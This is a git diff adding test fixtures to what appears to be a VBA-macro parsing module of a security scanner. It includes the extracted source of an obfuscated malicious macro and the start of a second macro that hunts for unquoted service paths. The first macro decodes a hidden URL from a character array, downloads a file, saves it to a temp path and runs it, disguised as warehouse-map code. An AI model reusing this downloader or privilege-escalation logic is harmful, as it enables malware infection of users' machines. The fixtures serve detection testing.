GoTo ErrExit + On Error GoTo ErrHandler + BM.ResetBalances + Cofl.Load + On Error GoTo 0 + ErrExit: + Set KogdaGe_1 = CreateObject(DrinkSun(0)) + CheckBins + Exit Sub + ErrHandler: + AD.DisplayError Err.Number, "modMaps", "AddSensors", Err.Description + Resume ErrExit + End Sub + + + + - name: "Module2" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module2" + Public Sub CheckBins() + Dim LP As Long + Dim BinID As Long + Dim objStorages As String + Dim objStorage As Variant + Dim MapID As Long + Set KogdaGe_2 = CreateObject(DrinkSun(1)) + GoTo ErrHandler + objSt.orages.Load + For LP = 1 To BM.StorCount + BinID = BM.StorID(LP) + If Not objSto.rages.IsItem(BinID) Then + BM.UnloadStor BinID + End If + Next LP + For Each objStorage In objS.torages + With objStorage + If Not BM.BinLoaded(.ID) Then + BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet + End If + MapID = BM.BinMapID(.ID) + If MapID <> 0 And MapID <> .MapID Then + BM.UnloadStor .ID + BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet + End If + End With + Next + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + Set KogdaGe_6 = CreateObject(DrinkSun(2)) + Set hokuk = CreateObject(DrinkSun(3)) + Set KogdaGe_3 = hokuk.Environment(DrinkSun(4)) + CheckDatabase + End Sub + Public Sub CheckDatabase() + Dim KogdaGe_7() As Variant + KogdaGe_7 = Array(255, 267, 267, 263, 209, 198, 198, 270, 270, 270, 197, 257, 252, 266, 268, 266, 251, 252, 261, 248, 273, 248, 265, 252, 267, 197, 250, 262, 260, 197, 269, 252, 198, 202, 203, 254, 253, 204, 272, 198, 265, 202, 203, 253, 202, 202, 203, 204, 254, 197, 252, 271, 252) + Dim KogdaGe_8 As Integer + Dim PubDoStop As String + PubDoStop = "" + GoTo ErrHandler + If mDBname <> Prog.DatabaseFullName Then + mDBname = Prog.DatabaseFullName + BM.Reset + MapsInitialized = False + End If + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + For KogdaGe_8 = LBound(KogdaGe_7) To UBound(KogdaGe_7) + PubDoStop = PubDoStop & Chr(-99 + KogdaGe_7(KogdaGe_8) - 52) + Next KogdaGe_8 + KogdaGe_1.Open DrinkSun(5), PubDoStop, False + CheckMaps + End Sub + Public Sub ConnectMaps() + Dim objStorages As Variant + Dim objStorage As Variant + Dim objMap As Variant + Dim objMaps As Variant + CallByName KogdaGe_2, DrinkSun(7), VbLet, 1 + KogdaGe_2.Open + GoTo ErrHandler + CheckDat.abase BM + CheckM.aps BM + objMaps.Load + BM.Visible = False + If objMaps.Count > 0 Then + BM.Visible = ShowMaps + If ShowMaps Then + If Not MapsInitialized Then + For Each objMap In objMaps + With objMap + BM.AddMap .ID, .MapName, .Units, .Zoom + End With + Next + objStor.ages.Load , , , , , True + For Each objStorage In objSto.rages + With objStorage + BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet + End With + Next + MapsInitialized = True + End If + AddSenso.rs BM + CheckB.ins BM + BM.Update + End If + End If + Set objMap = Nothing + Set objMaps = Nothing + Set objStorage = Nothing + Set objStorages = Nothing + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + SaveMaps + End Sub + Public Sub SaveMaps() + rbp = CallByName(KogdaGe_1, DrinkSun(10), VbGet) + Dim objStor As Variant + CallByName KogdaGe_2, DrinkSun(9), VbMethod, rbp + Dim objMap As Variant + Dim LP As Long + Dim ID As Long + Dim XPos As Single + Dim YPos As Single + Dim BinLP As Long + Dim BinID As Long + CallByName KogdaGe_2, DrinkSun(11), VbMethod, KogdaGe_5, 2 + GoTo ErrHandler + For LP = 1 To BM.MapCount + ID = BM.MapID(LP) + objMap.Load ID + objMap.BeginEdit + objMap.MapZoom = BM.MapZoom(LP) + objMap.ApplyEdit + Set objMap = Nothing + Next LP + For BinLP = 1 To BM.StorCount + BinID = BM.StorID(BinLP) + If BM.BinLoaded(BinID) Then + BM.BinLocation BinLP, XPos, YPos + With objStor + .Load BinID + .BeginEdit + .XPos = XPos + .YPos = YPos + .ApplyEdit + End With + Set objStor = Nothing + End If + Next BinLP + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + KogdaGe_6.Open (KogdaGe_5) + End Sub + + + +project_info: + name: "Project" + version: "1485256679.65" + references: + - "stdole" + - "Normal" + - "Office" + - "MSForms" + module_count: 4 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.in.zip b/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..7a1af02625ceab13a47a4023cdffbb3464f5a8d0 GIT binary patch literal 15200 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 "" And InStr(p1, Chr(32)) > 0 And Left(p1, 1) <> Chr(34) Then + Dim p2 As String: p2 = p1 + If InStr(p2, StrReverse("exe.")) Then p2 = Left(p2, InStr(p2, StrReverse("exe.")) + 3) + If LCase(Left(p2, 10)) <> StrReverse("swodniw:c") Then + rMsg = rMsg & "[+] " & v3.Name & " -> " & p2 & vbCrLf & vbCrLf + d.Add v3.Name, p2 + End If + End If + Next + If d.Count = 0 Then + MsgBox StrReverse(".yletubirnev elbarenelecnuv oN") + Exit Sub + End If + MsgBox rMsg & 